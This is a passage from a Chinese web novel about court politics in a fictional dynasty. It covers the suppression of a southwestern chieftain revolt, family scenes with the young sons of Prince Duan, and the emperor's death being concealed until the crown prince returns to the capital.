方克城也劝说:“陛下,北方有几个省份今年的雨水不好,恐怕要多运南粮,倘若南粮再往南运充作粮草,南北都落不着好。” 皇帝终于松了口泄下气,“好吧好吧,就按你们说的办。传文馆那边先不管他们,正常授课。” “对了。”皇帝说到此处,又咬紧了牙,“反叛土司的儿子先给朕送到西南去,等抓到贼首, 一起凌迟处死!” 说完叫段之缙退下,又找了几个部院的官员问粮草、军备,一上午就在议西南之事,最后散朝,大家都被晒得褪了一层皮去。 因皇帝定下的是先镇压,平叛所需的军需从当地调用,但在实战中,南诏土司似乎从上回儿反叛中学到了经验,一个劲儿往林子里钻。 林中地形古怪,巨树遮天蔽日,鸟铳也没有用处,西南军死伤倍于叛军。 阴湿多瘴气,军中开始有了疫病的苗头,最后只能靠其他的土司密报,才找到了叛军的踪迹,费劲心机将其荡平。 皇帝后知后觉地庆幸起来,倘若一开始直接大军压境,现在局面就难以收拾了。也是到此时朝廷才认识到,想要纯粹地靠武力改土归流,是万万不行的。 但是不改土归流,更是万万不行。 土司制度下,世袭的土司首领控制土地和生民,却又不需要向朝廷缴税。 在段之缙意料之外,这次变乱不是因为当地的官员处事不公,仅仅是因为征税,两方矛盾激化使得土司反叛。 南诏,这么大一个省,每年的税额少的可怜。 但是此时,事情已经告一段落,该杀的也都杀了,该罚的也都罚了,西南暂且安静了下来,西南军队也要好生修养,总结此次的战果和经验。 段之缙从之前昼夜部分的状态下脱离出来,趁着休沐带着蘋儿和孩子去郊外。 还有连科,这只猫儿年纪大了愈发喜欢外出,不带着它能嚎一天。 郊外有一育婴堂和卧佛寺,段家每年七月十五盂兰盆节都要在育婴堂捐善款,再去卧佛寺施粥。 育婴堂内,大小的孩童乱窜,摇篮里还有嗷嗷待哺的婴儿,靠着请来的奶妈和稀薄的米粥水养活。这里边多是女童,偶有两三个男孩儿也能看出明显的残疾。 而这么多人,全都靠着朝廷微博的款项和善男信女的捐款生活。 沈白蘋帮着育婴堂看账目理仓库,连科被好几个女孩儿递来递去的揉弄,段之缙是男子不宜入内,搂着锁儿坐在石墩子上,育婴堂管事的王大娘陪着他说话。 “这些女孩儿养大后,能有自己的生计吗?” 王大娘讪讪一笑,“这些没家没业的女子,哪里有生计?绣个帕子、荷包拿出去卖,这就是唯一的进项了。” 段之缙又问:“她们最终的归宿呢?有多少人成亲?” “自然是全都成亲了,到底是男儿多女儿少,婚嫁倒是不愁。还多亏了奶奶,奶奶给我们钱叫我们请女先生,孩子们读书识字,也能嫁好点的人家。” 说起沈白蘋来,王大娘可算打开了话匣子,“奶奶每个月都帮我们理账,帮我们验看女夫子,去岁怀有身孕的时候,还给我们请了帮忙的人……” 段之缙和王大娘说着话,快到中午时沈白蘋的账也看完了,两人又乘马车去卧佛寺。 马车上,段之缙看着哼歌的沈白蘋,“我成日当差,这还是第一回陪你来出来,以往是谁陪你来的,可还有什么需要?” “母亲和姨娘偶尔来,多是妹妹陪着我,你放心吧,我们都带着家丁,育婴堂又是正经地方,不会出事的。” 段之缙把她有些散的头发拂上去,“挺好的,用不了几年,我就求陛下外放,到了地方自有我们的一番事业。” 两个人才拉了一会儿手,锁儿又瞪着眼看过来,把自己肉圆子一般的手塞到爹娘的掌心,努着小嘴,“拉着锁儿的手!”车里不动如山的只有连科,斜撇了他们一眼,仍是懒洋洋地趴着。 孩子一闹时间就过得快,一眨眼就到了卧佛寺,马车刚停住,便驾车的王章道:“二爷,山路被人封住了。” 段之缙和沈白蘋对视,下了马车往前边的山路看,果然看见有家丁打扮的人守在山路上,驱逐上山之人。 再往上看,前边一个抱着孩子的男子,不是方叙墨是谁? /:. 第83章 083端王之子 “方大人!”段之缙扬声呼唤,方叙墨定睛一看,这才发现是谁,惊喜道:“允升兄!” 他怀里抱着的孩子回头看,又蔫蔫地转过去,一副没有兴趣的样子。段之缙这会儿才发现,方叙墨身后还有一个男孩儿,扎着两个小丸子,蹙着眉看过来。 “你来这儿作甚?” 段之缙答道:“今日盆盂兰节,往年我们都会在此施粥祈福。”他试探道:“家中俱安好吗?” 今日封山,猜猜也能猜到,应当是在做法事祈福,恐怕是谁病了。 方叙墨苦笑一声:“端王殿下得了热伤风,郡主命卧佛寺做法事祈福,在紫阳宫施粥散钱,你们若要施粥,只能去那儿了。” 王爷是无冠冕之太子,他一病,整个王府都乱了。 段之缙也有些担忧,但人家是主角,应当不会有事,想了想还是表示一下关心,问道:“王爷的病情严重吗?” “倒是不严重,只是拖拉着不见好,叫人心烦。” 段之缙点点头,又看了看他怀里的男孩儿,笑道:“你这是何时有的儿子?” 还不等方叙墨答,在方叙墨身后安静听大人说话的小童伶伶俐俐地开了口,“他不是我父王,是我姐夫!” 墨玉一样的眼珠子睁得大大的,十分有神,眉间用朱砂点了一点红痣,衬着圆嘟嘟的小脸,更显得可爱。 原来这两个是王爷的双胞胎,段之缙仔细打量一番,果然眉目相似,但是总体的长相却是两模两样。 段之缙朝着方叙墨做口型:“要行礼吗?” 方叙墨笑着摇头,又颠了颠怀里的孩子,“奴奴,你下来跟你哥哥玩吗?” 奴奴额间也点了一颗小红痣,无甚兴致地摇摇头,贴在方叙墨怀里,揪着他的耳垂玩弄。 段之缙看他的脸色,有些病气的白,和他哥哥相比有些纤细弱气,应该是天生带来的。 两个孩子都腻在这里,大人们说话也要注意些,此时在马车里的连科似乎是呆烦了,一个飞跃跳下来,两三步跑到了段之缙身边转悠,而马车里的锁儿见猫跑了,急得不行,嗷嗷地叫爹。 “爹!爹!猫猫!”锁儿说话还不顺溜,但其急切之意溢于言表。 王章把他抱下来,牵着领到段之缙身边,锁儿一下跪在地上,搂着猫儿哄,“别跑……猫猫。” 双胎里的哥哥先见了一只通体雪白的大猫,又见一个小弟弟扑过来,眼睛瞪得溜圆,惊喜地拽着方叙墨的衣角,方叙墨弯腰蹲下,他就凑在姐夫耳边说悄悄话。 “是弟弟和猫猫!” 小孩子偷偷地瞥了一眼段之缙,还是忍住没说什么,手却悄悄撩上了锁儿的小丸子髻。 等着沈白蘋被丫头扶下来找儿子,方叙墨赶紧后退了两步问好,“段嫂子。” 沈白蘋知道他是谁,回礼道:“方大人。”然后一把将儿子拉起来,拂去了他膝上的土。 做哥哥的人小鬼大,许是觉得女人家好说话,抿着唇问:“夫人,我可以和他们一块儿玩吗?”他长得极聪明秀气,眉间的红痣映着水润润的眼睛,声音甜蜜蜜的,沈白蘋如何不许?只是这个孩子是方叙墨看管,得叫大人同意才行。 方叙墨摸摸他的脑袋,叫奶妈领着他去,又嘱咐道:“千万看顾好了明灯,但凡磕着碰着了,你的下场也不用我说。” 奴奴呆在方叙墨的怀里,见他哥走了也着急起了,方才惫懒的神态一扫而空,吵着要下去,最后被沈白和奶娘领着去了。 见孩子都走了,方叙墨如蒙大赦,找了个清净地方,两人在一平坦石头上坐下,段之缙问道:“你的妞妞呢,回家了吗?” 方叙墨吐了一口气,说出来的话沉甸甸的。 “早回来了。现在想想,当初何必要委屈了郡主进我家的门户?没意思透了。” 段之缙问:“这是怎么了?” “端王托皇后娘娘问过巡捕营的事情,被我祖父拒绝了,那个时候大家都以为肃王能够登基,郡主担心此事泄露,再因 为姻亲的关系连累于我,这才抱着孩子回王府。” “她跟我说,若真有那一日,叫我做一个真正的大丈夫,不要因为妻子的离去伤心,我是方家的长子长孙,方家一日不倒,我就不会有事,以后另聘新妇,照常过日子。” 段之缙无言,前朝你死我活的争斗,家眷们如何胆战心惊,他们还在意吗? 两个人一时无语,看着溪水潺潺,一直流向尽头。 最后,段之缙叹一口气,“人活着难得糊涂,我问你,倘若真有那一日,你会离郡主而去吗?” 方叙墨咬牙,“她就是回了王府,我也跟着她去王府。” “这不就成了,管那么多干嘛?”段之缙叫他放宽心,别想那么多,又岔开话题问道:“你的妞妞不是没离开你一天吗?怎么方才带两个小舅子的时候做出这幅德行?” 方叙墨扬扬胳膊,忧愁道:“你不知这两个祖宗,比我那丈人还麻烦呢!都怪王爷早早给他们点了红痣,人小鬼大得很。” 小孩子刚上学,会有开笔礼,其中一项就是用朱砂在眉间点一红痣,称为“朱砂启智”,开了天眼,以后就能聪明。 段之缙笑道:“王爷不在,只能任你胡说了。拿朱砂点着玩罢了,怎么就怪上了‘朱砂启智’?再说了,两个孩子能有多闹腾?” “你还不信!你就是仗着你的儿子还走不顺溜,等着吧,等着他会跑了有你头疼的!”说到这儿,方叙墨低声诉苦,“现在看着明灯干干净净一个小子,他在家里养了一只八哥鸟,成日挖土抓虫子喂,有时候抓到了没见过的虫子,不去找郡主,偏来找我看!把虫子放在你手心里,你还不能教训他,得夸他厉害,能找着这样稀奇的虫子!” 段之缙哈哈大笑,安慰他:“那小公子不是很安静乖巧吗?你也该知足。” 方叙墨白眼往天上翻,“可是安静了,专门来克我的。没事儿就要抱着,他姐姐嫌热不爱抱就得我抱。”说着,把段之缙的手放在自己的胳膊上,“你捏捏,这个胳膊粗壮了不少。” 段之缙乐不可支,“这是你娶了郡主的福气,旁人想抱这个宝贝疙瘩,王爷和郡主让他抱吗?我听说这两个男孩儿都是睡在王爷的院子里的。” 方叙墨苦笑一声,“也只能这么想了。你知道我最烦的是什么吗?陛下现在也病了,就算王爷见好也要进宫侍疾,那两个祖宗还要留在我家中。” 段之缙只憋着笑安慰他,略有些幸灾乐祸。 那边明灯一边拉着锁儿,一边揉弄连科,连科倒也沉稳,就叫两个孩子玩,还抓了一只天牛送给明灯,叫小孩儿喜欢得找不着北。奴奴叫沈白蘋抱着,皱着眉看自己的哥哥和另一个弟弟玩得满身土,嫌弃地缩缩脖子。 玩了好一阵,两个孩子终于玩累了,奶娘就领着他们回去,段之缙也跟方叙墨告别,“我们先去紫阳宫施粥,等着日后有空再一起聚聚。” 段之缙就扶着沈白蘋,抱着孩子上马车,马车上沈白蘋还笑:“端王的两个儿子好玩得很,那个小的叫我抱着,嫌弃死他哥哥了,还偏偏要和他哥哥在一块儿。只可惜身子弱了些,连下地走动都不愿意,玩了一会儿就要人抱起来。” 段之缙给她捏捏胳膊,把方叙墨的抱怨说了,听得沈白蘋啧啧称奇,“许是孩子聪明所以才显得顽皮,你没怎么听见三公子说话,口齿清楚极了,小嘴说起来不停,他应该才两岁吧?” “的确,今年才两岁。”段之缙看看自己玩累了睡过去的小孩儿,还是觉得这个好,摸摸脸蛋,“太聪明的不好带,锁儿这样的就很好。” “谁还说不好了吗?” 马车转悠悠地到了紫阳宫,山路前挤满了领粥水的贫民,几口大锅不停地熬煮着,因为粥很厚实,煮粥的人得不停地搅拌,避免糊底。 段之缙指挥着家丁把后边马车的米扛下来,与道长施礼,“道长慈悲,今日盆盂兰节,家人不忍贫者饥馁,且佛道本为一家,愿奉十石白米于三清座前,广济饥寒。也请叫我夫人为贫者舀粥,积累福报。” 道长回礼,“福生无量天尊,善信仁心可昭日月。只是本观受了灵寿郡主的托付,今日只能叫王府派来的人舀粥,为王爷祈福。但居士与夫人有此心即是积累福报。” 夫妻二人也无法,将生米放下,回到家中。 第二日照常去内阁当差,头一天便又是他值班,熬了一宿,第三日还多呆了一会儿,帮刘中堂核对了西南土司的事情才散班回到家中,琼香急忙禀报道:“二爷,方大人来了,正在堂中等候。” 段之缙惊讶,“他来做什么?” “奴才也不知,方大人还带着两个小孩儿。” 段之缙顿感不妙,去了正堂一见,果然是王爷的那对双胞胎。 方叙墨幸灾乐祸地迎上来,笑道:“段大人好忙啊,怎么如今才散班?” 段之缙还没答话,明灯就跑上来拽他的袖子,“段大人,锁儿弟弟在哪里?连科猫在哪里?我想和他们玩。”小孩子缠人,拽着段之缙的袖子摇摇晃晃,叫人喜欢得心肝疼,只好叫丫头领着明灯去,奴奴还是那个样子,一见他哥要走就吵着下来,被哥哥牵着去了后院。 两个孩子走了,段之缙亲手给方叙墨倒上了水,警惕地问:“你带着这两个宝贝疙瘩作甚?郡主如何舍得叫你带出来?” 方叙墨一笑:“你不是说我有福气吗?现在这福气轮到你了!前日明灯回家后睡了一会儿,非要来你这儿玩,他姐姐怎么劝都不好使,回去请示了王爷,王爷竟然许了!这哥哥来了,弟弟也得来啊,他们的奶娘保母我都带来了的,就在你们家西门候着,只要你松口,我立刻领进来。” 段之缙真急了,“他们是宗亲,王爷的儿子,我是内阁的臣子!非亲非故、君臣有别,怎么能养在我这里?再说了,他们王府难道没有猫狗吗?来这里玩个什么劲儿?” 方叙墨却不管那么多,“我该说的也都说完了,你要是不愿意就去跟端王说,看他许不许你把这两个祖宗送回去。”说完脚底抹油就要走,脸上俱是解脱的笑容,段之缙生拉硬扯都拽不住。 段之缙唉声叹气,叫西门两个皇孙的奴才进家门,把东边的一个大院子收拾出来给他们两个人住,这才去书房和宋征舆讲书。 西南的事情了结,也该叫他好生准备一番。 宋征舆早早就来了,并没有撞上方叙墨一行人,此时正在书房内读书,见段之缙来了上前拜见,段之缙又拉着他对坐,问道:“西南土司之事你可曾知晓?” “ 此前王爷说过,朝廷的意思是先平叛,仗还没有打完,王爷就染上了热伤风回王府修养,后来的事儿我就无从得知了,只是听说战事结束虽快,但是过程极为不顺。” “是了,这还多亏了西南军的苏奋将军反应快,见势不好赶紧同驯服的土司沟通联络,这才速速结束了战事。” 宋征舆见他说起了西南战事,问道:“二哥可是觉得明年殿试会以此为题?” 段之缙把房里的冰盆子往案上移,转身回道:“这我可不敢说什么,但三年前西北的战事拿出来出题,明年拿西南出题的概率不小。” “那二哥以为,明年会不会以如何平叛或是如何管理西南土司为题?” “西南的情况,肯定还是要了解的,但是如何平叛,如何治理西南土司应当不会拿来出题,因为这件事已经在议了。苏奋从西南启程,下个月就能到京,殿试之前一定能拿出来办法。我的意思是,你得想一想改土归流之事,或抚或剿,土司的土地和人口收归之后,如何去设置流官。” 宋征舆记录下来,却仍有疑问,“二哥,西南的事情我了解不多,但也知道土司是朝廷设置,虽为世袭也得朝廷颁旨确认,若一直驯服,何必改土归流?” 段之缙答道:“他们不向朝廷纳税也已经叫当地的汉民十分不平了,何况还不是一直驯服。即便一代驯服,但世袭之官,子孙数传,往往擅土自雄,尾大不掉,终生反叛之心。” “且西南之地,最可怜的就是被土司控制的夷人。朝廷的汉民鄙弃他们,轻易不与他们接触。他们的土司呢,苟有枭雄之姿,各支夷势力不及,则举其性命,一供其宰割,为奴为仆,何其可怜?倘若能够改土归流,也算是一个解脱。” 西南的土司制度,说是裂土封疆也不为过,土司们掌控土地和人口,夷人服劳役向他们服,种地放牧给他们纳税,犯了罪也只有土司能够惩处,这还能说是雍朝的领土吗? 段之缙道:“改土归流是一定要推行的,你要好好想想,如何去设置流官。” 宋征舆应下,天也大晚了,准备收拾东西回家,此时门被砰砰敲响,明灯古灵精怪的声音就响了起来,“段大人,你看我抓到了什么!” 霎时间,宋征舆睁大了眼睛,“不对吧,我好像听到了三公子的声音!”他急着开门,果然是端王的儿子明灯,小孩儿手里拿着一只小罐,瞧见宋征舆也跟着睁大了眼睛,亲亲热热地抱上去,“宋先生,你怎么在这里?” 他这一抱,宋征舆的衣裳上就是两个黑手印,但宋征舆在王府也习惯了,手臂环住明灯的腿窝将他抱起来,回道:“段大人是我的妻兄,我来拜访。” 明灯该是很喜欢他,把自己的蟋蟀递给宋征舆看,罐子一掀,段之缙就眼睁睁地看着那蟋蟀跳到半空,跳进了自己的书房,宋征舆把孩子放下,催道:“公子,你看它跑了,快去抓啊!”明灯就气势汹汹地爬过门槛进书房逮虫子,段之缙被宋征舆拽出来说话。 “二哥,他俩怎么在这里?” 段之缙惊奇道:“你怎么知道兄弟两个都在我这儿?” 宋征舆哼笑:“我看着他俩长这么大,三公子在这儿,四公子一定在!三公子精力旺盛得很,王爷都熬不过他,你有的熬了……二哥,我教你个法子,你领着他读书,读书的时候可听话了,只要他学会了一点东西,你就狠命夸,越夸越听话。” 正说着呢,宋征舆余光一扫,明灯好像已经找到了虫子,鼓着腮帮子伸长手去抓,跟着他的奴才一个劲儿打气,眼看就要抓到,宋征舆赶紧跑路,等着明灯喊一声:“宋先生,我抓到了!”再一回头,哪里还有宋先生的影子? 不过没了宋先生,还有段大人,明灯兴致勃勃地把蟋蟀拿给段之缙看,“段大人,这是我抓的蟋蟀,明天把他给锁儿弟弟和奴奴玩!” 热情难却,段之缙掀开一个小缝装模做样地看了几眼,赞道:“好威风的蟋蟀,公子给它取个名字如何?” 明灯狠狠“嗯”了一声,拽着小罐看一眼,“叫大元帅!”说完就要拽着段之缙再出去抓一只,被段之缙抱住,“好公子,我带着你读书吧,读三字经如何?” 明灯回过身看着他,脑袋一歪,“我读过了。” “那我们讲讲三字经的故事,这人之初……” “父王也给我讲过了。” “那弟子规如何?” “这个是姐夫给我讲的。”他似乎知道自己小小年纪知道这些东西很了不起,胸膛高高挺起来。 段之缙苦笑蹲下,先带着他净了手又擦干净脸,又回头问跟着明灯的奴才,“你们主子接下来该学什么了?” 他的奴才一问三不知,只道:“大人,我们不是侍书的奴才,只是照顾公子起居的。” 好吧好吧,段之缙只能抱着他找点有趣的东西,从书架上拿下来一本《山海经》,这会儿叫明灯安静了下来,津津有味地听段之缙念,深更半夜才睡在了段之缙怀里,被抱回东院,这时分,家里人早就睡了。 第84章 084山陵崩 两个皇孙并没有在段家呆太长时间,端王的热伤风痊愈后进宫侍疾,长时间呆在宫内不回府,两个孩子也就送回王府,段之缙的生活跟着恢复了正常,意外之喜则是锁儿,和明灯玩了十天半个月,说话越来越顺溜。 秋风突起,挑了一个良辰吉日给锁儿种上牛痘,小孩子发了一天热,胳膊上留了一个小疤,母亲和姨娘虽说心疼,但比种人痘强上无数倍,都在暗自庆幸有此良法。 十月份左右,淮宁来了信,段之绪院试得中,已经进入了县学。 今年的冬天冷得吓人,雪下得格外早,内阁一边操心着百姓过冬的问题,一边商议西南土司之事。西南军的苏奋将军早已上京,同内阁共同商讨。 又因为冬天冷,皇帝的身子更加颓败,从入冬开始就不太利索,这天段之缙拢着衣服在火盆前写签子,同僚就带着满身寒气进来,凑在火盆旁边烤手。 两个人絮絮叨叨地说话,“今年的冬天不好过,现在十一月多点就冷成这样。大江南北,一个冬天多少人会被冻死。” 段之缙手上的正是辽河请求朝廷拨款过冬的题本,回道:“尤其是老人,天要是冷了,日子更难熬。” 同僚把身上的衣服也烤暖,“是,老人的冬天都不好熬,别说是贩夫走卒,就是乾清宫……都病多少场了?毓中堂看了太医院的脉案,华杏林说是熬过冬天就能好,可这冬天说熬就能熬过去吗?今年的圜丘祭天都不去了,叫端王去。但我听说端王害怕出事,来不及回程,不愿意去。” 皇帝每日都这么吊着,说不定哪天就吊不住了,端王不想出去也是常理之中,现在常伴君侧才是最保险的做法。 同僚还想说什么,门吱嘎一声打开,北风把堂屋内的暖气一股脑吹了出去,中书在外边道:“大人们,中堂大人们叫去呢。” 段之缙和同僚对视一眼,去了大堂。 大堂内挤满了内阁的官员,中堂、协理大学士、八位侍读学士和大小中书俱在,毓中堂这几天也有些风寒,捂着口鼻咳嗽一声,“二十天后冬至祭天,按理说学士们都应该去,但是这几天皇上身子不好,且冬天事情多,圜丘祭天的四天里,得有人留下来照看,有急事要赶紧上报。” “我们跟皇上请示了,刘中堂和协理大学士周炳留下来,另外侍读学士段之缙和王奕也留下,这四天就辛苦你们了,若有要紧事就报给陛下,但我猜应当没什么大事儿。中书们照常办差……”毓秀中堂安排了有关事宜,放大家走的时候又特意留下了段之缙。 毓秀把他叫到了东屋,捧一杯热茶在手回头吩咐,“把门窗什么的都关好,我这把老骨头,经不得风了。” 然后叫段之缙到他跟前儿坐着,“说句不自谦的话,我是三朝元老了,这辈子 的心血就倾注在朝廷里,我对这朝廷,比皇上都上心呢。” 段之缙静静听着,毓秀又道:“现在是多事之秋,皇上身子着实不好,又有心疾,说不得就在祭天的时候出了事。刘中堂和周炳算是胆大能干的,我已经嘱咐好了他们,一般的情况都能够应对。但倘若出了意外……” 他说到这儿,攥住了段之缙的手,“这朝廷还是得要个正常的君王,因而我愿意受端王的托付。倘若发生了意外,你先去找方叙墨,让方叙墨找他三叔封锁九门并领兵保护端王府,然后拿着皇帝的诏书去找领侍卫内大臣保卫皇宫,记住了吗?” 段之缙心里一紧,皇帝的身子该是真的大不好了,怕是撑不了多久这才叫毓秀和端王这样紧张,连避嫌都顾不得,因而沉声道:“下官谨记。” 毓秀又嘱咐了一些政务的事宜,这才放他出去。 很快就到了祭天的日子,没了三位中堂和几位协理大学士,原本忙碌的内阁都略显萧瑟,紧要政务需要皇帝做主,祭天总共四日,段之缙就面圣三次。 皇帝还没到气若游丝的地步,但喘气像是拉风箱,脸色更不好,面若金纸,偶尔下地走动也是头晕目眩。 但不知是祭天感动了哪方神明,皇帝竟然撑了过来,过了正月便将端王册立为太子,只是东宫尚未收拾妥当,仍住在端王府。 到了二月将要殿试的时候,皇帝大好,华杏林说再撑个一两年没问题,于是遣太子出京祭孔,紧跟着就是举行殿试。 一道治理黄河的策题,另一道题虽与西南有关,却是问汉夷关系,比段之缙想的还要长远,内阁才议出来如何对付土司,这边就考上了如何治理夷民。 所有的事情有条不紊地进行着。宋征舆殿试为二甲第四名,考试之后顺利进入庶常馆。晚上宋家设宴,王虞和宋征舆之母好好叙话,段云霓在一旁伺候,宋征舆却同段之缙去了书房。 他急得在门槛处绊了个踉跄,回身急问:“二哥,陛下的身子当真没事儿吗?” “从过了年后便正常理政了,从没听中堂们说皇上身子又不好了。”段之缙说完,疑道:“你说这话是什么意思?” “那日拜见陛下之后,我越想越觉得不对劲,陛下喘息极快,面色也不甚好,真的没事儿吗?” 段之缙宽慰他,“若是有事儿,太医定然会劝陛下停止理政,内阁的中堂们也能看出来。但现在一切如常。再者,陛下年纪大,喘息快些也属正常,你把心放回肚子里吧。” 宋征舆还是有些焦虑,段之缙说:“倘若你不放心,那就写信给太子殿下,叫他祭孔之后快马加鞭地回京。” 这句话本是说笑的,谁知宋征舆当了真,言辞恳切地书信一封,真往山东寄去,但如今还不到三月,太子的车马再快,也得三月下旬才能回京。 段之缙拿他没办法,只摇摇头。 直到有一天晚上,已经是宵禁时分了,段之缙和沈白蘋在房中睡觉,卧室门被砰砰扣响,琼香带着困倦的声音传进段之缙的耳朵。 “二爷,方大人来了,说是要紧事。” 段之缙昏昏沉沉的脑子一瞬间清醒,和坐起身的沈白蘋对视一眼,蘋儿推着他下床,“快,你快下去看看,这么晚了,定然是有急事。” 春寒料峭,段之缙披上大毛衣裳往正堂里跑,母亲也被这动静吵醒,正往致知斋赶,正巧撞上段之缙,她头一回儿遇见这种事情,有些惊慌,“可是出什么事儿了?现在都已经宵禁了他是如何来的?” 段之缙吩咐丫头扶太太回房,陪着走了一段,安慰道:“无事的母亲,他家就有九门提督,宵禁的时候外出也有他家里人行方便。”这才叫王虞稍放下一点心,还是嘱咐道:“无论是什么事情,等会儿都禀报与我,千万不要瞒着。” 段之缙应下,加快步伐去了正堂,方叙墨在那里等候。 两人刚一见面,段之缙尚未说话,方叙墨上前深鞠了一躬,神色前所未有得庄重严肃,他把拢好斗篷张开,里边的明灯紧张地拽住了姐夫的前襟。 段之缙大惊,“这三更半夜的,你把三公子带来作甚?” 方叙墨将明灯轻轻放下,并没有先回他的话,“允升兄,先安顿好孩子成吗?” 上次他们住的院子空置了不少时间,一时半会儿也收拾不出来,只能先叫丫头领到致知斋去,明灯少见的胆子小,皱着脸死死拽着方叙墨的衣裳不肯走,被毫不留情地掰开手指,方叙墨抚着他的背蹙眉道:“我们来的时候说的什么?不是叫你听话吗?” 明灯的眼瞬间红了,瘪着嘴要哭,还是忍了回去,带着哭腔问道:“父王回来了就接我回去?” “是,殿下回来了就接你回府。” 明灯又确认道:“父王三月底就回来了?” 方叙墨把他眼角挂着的泪珠擦走,“最迟就是三月底。在这里要听段大人的话,听见没?” 明灯懂事地答应下来,被丫头领去致知斋。 孩子一走,段之缙转身就问:“到底怎么回事儿?!”三更半夜来了,闹出了一副托孤的架势,是要把谁吓死吗? “皇帝怕是不行了。” 段之缙像是被人抡了一锤,只觉头昏脑涨,“皇帝还正常理政,怎么就不行了?” “前两日,太子妃叫我和郡主过去,说陛下手抖得厉害,出气多而进气少,皇后娘娘也说陛下这几日头痛、胸闷,还经常发怒。你也知道,陛下本就有心疾,这分明就是……” 分明就是猝死的前兆! “太医院已经在用药了,华杏林说陛下吃了太多的既济丹,吃药用处也不大。” 段之缙脑子飞速地转,“这个消息透出去没有?” 方叙墨一愣,“没有,连脉案都没让记,内阁应该没人知道。因为不知陛下还能撑几日,端王府离着誉王府和肃王府都太近,太子妃怕在太子回来之前出事,叫我们把明灯带走,郡主说放在方家不是万全之策,叫我偷偷送到这里来。” 纪禅和方家是姻亲,倘若真在纪禅不在京的时候叫别的王爷控制了京城,方家定然会被搜查。 “你知道的,哪怕只有万分之一的可能,我们都不敢冒险,孩子便先托付给你。” 段之缙点头表示答应,方叙墨也不好再留,起身出去,段之缙猛然想起了那个离不开哥哥的奴奴,又问道:“小公子呢?他怎么不来?” 方叙墨拉好衣服,眉目低敛着,“京里谁不知道,太子的双生子没有一刻是分离的?奴奴要留在王府叫别人看。” 两个年长的公子已经成人,平时也要同人交往,难以藏匿,而这双生子中,太子妃已经做好了选择,倘若出事,要留下那个身体康健而又聪明的孩子。 段之缙送方叙墨出去,先去了主院和王虞禀报,编瞎话道:“没什么大事儿,只是明灯公子去了方家住,今日闯祸被郡主斥责了,难为他小小年纪还知道羞,死活要走,方叙墨又不敢带着他回王府,就先在咱们这儿住两天,等着方叙墨哄好了郡主再接他回去。” 王虞这才放下来心,“大半夜真吓人。行了,你也回去睡吧。” 段之缙告退,回到致知斋时已经过了丑时,没两个时辰就得点卯,看一眼明灯,这个小孩儿被沈白蘋搂着拍觉,刚才似乎哭了,鼻头还泛着红。 段之缙轻声道:“叫他在这儿吧,我去外边睡。” 于是就在外边糊弄着睡了一个时辰,又乘着夜色去内阁点卯。 内阁果然是风平浪静,皇后将消息锁得很死,段之缙心有旁骛,办差便不那么经心,便被刘玳廷训了两次,这才稳住心神,只盘算着纪禅什么时候回来。 原定的日程是三月二十八日能到京,倘若宋征舆的信送到,纪禅一向小心谨慎,定然会抓紧回程,最快能三月二十日到京,只要皇帝再撑十七八日…… 不,哪怕再撑十四五日,留个三四天的空档也能糊弄过去。 段之缙一边往题本里塞签子,一边思索着,却突然听外边一阵慌乱又很快安静下去,他推开堂屋的门张望,四位中堂急匆匆地往皇宫中去,而紧随着他们的正是首领太监吴祥。 似乎大事不妙,这可还有二十来天呢! 段之缙强自镇定下来,接着看题本塞签子,熬到了下值的时候,皇城的戒备突然变严,晚上的宵禁也提前,说是城中出现了盗贼,顺天府正在抓紧时间抓捕。 段之缙心中一紧,即便没有山陵崩,恐怕也是命悬一线。 只怕是皇帝驾崩,但秘不发丧。 接下来五日照常当差,三月初七,吴祥却突然到内阁传召,本以为是毓秀大人要见,结果三转两转,又跟着一个老嬷嬷去了乾清宫的小室内,吴祥这时候才透了个底,“是皇后娘娘传召。” 隔着屏风,段之缙跪地行大礼,礼尚未行完便被止住,里头有些疲倦但威严的声音响起,“方叙墨说,明灯送到你那儿去养了?现在怎么样?” “回娘娘,公子一切都好。” “本宫倒还不知道,内阁里还有你这样的人物,也是你的造化跟对了明主。本宫听说你是二十三年的探花,想来伦理纲常四个字也能论道一番。皇帝龙御归天,因着太子还不在京,这才秘不发丧,但瞒到现在也瞒不住了,大行皇帝的梓宫要移往乾清宫正殿,明日开始哭灵,本宫怕出事 情。” 皇后说到此处,似乎漫不经心,但掩不住其下的咬牙切齿。 “老二嘛,他大哥死了他就是长子,也够无法无天的。肃王一向受宠,若他俩在灵堂上闹起来,其他臣子往往不敢说话,你就得上前搭腔。” 这也是无办法的办法,皇后久居深宫,这些天能配合着四个中堂秘不发丧已经到了极点,想想明日的哭灵便头痛欲裂,皇子王孙闹起来,只靠着几位中堂怕是不行,现在能抓一个壮丁是一个,日后好好封赏便是。 “臣谨遵娘娘懿旨。” 皇后松下一口气,“你去吧,去大行皇帝的寝殿里磕个头,明日就跟着毓中堂哭灵,不要到后边去了。” 段之缙便告退去了寝殿,皇帝已经驾崩好几日了,为了防止尸体太快腐败,室内像个冰库一般,此时不光四位中堂在,誉王、齐王等王爷也在,连带着还没有获封的皇子,已经换上了丧服,哭得心肝俱碎。 段之缙沉默地磕了一个头站在毓秀身后。 太监们将大行皇帝移入梓宫,棺椁盖上,一个旧的时代也即将过去。 第85章 085新皇登基 翌日,大行皇帝的梓宫移到了乾清宫大殿,王公大臣俱成服,大行皇帝的亲子跪在殿内哭丧。他的后妃也去掉了首饰,一身丧服低声啼哭,其余的公主王孙也在悲泣。殿外百官按照品级跪好致哀,唯有毓秀作为治丧大臣守在殿内。 因为嗣皇帝不在京中,许多的仪式只能由他的长子纪攸昭主持,大公子替父奠酒,本没有出什么差错,可到了下午,安安分分的誉王却突然发难。 他直直站起来,走到毓秀身前怒问:“毓秀!你跟本王说清楚,父皇到底是怎么龙御归天的!若没有隐情,你们为何要秘不发丧!” 毓秀尚未来得及答话,皇后撑起来身子怒喝一声:“纪祄!你发疯病了吗?如何敢在大行皇帝梓宫之前大呼小喝,又是谁叫你质问毓中堂的?你读的书,学的礼法呢?!” “礼法?!”纪祄嗤笑一声,跪倒在皇后面前,却有威逼之势,他双目充血震声道:“母后,秘不发丧就讲礼法?父皇仙逝数日都未能入梓宫,就这么放在榻上,放了数日!这丧仪还有半分礼法吗?” 说起这,皇后也有些心虚,当时为了隐瞒消息,不敢叫太多人进殿,也就没能及时移入梓宫。毓秀见皇后讷讷不能答,上前拉住誉王,“王爷,秘不发丧也是为了京城的安稳,皇太子仍在山东一时赶不回来,为江山社稷,不得已出此下策。” 誉王将毓秀一把甩开,“那遗诏呢?为何不公布遗诏?” 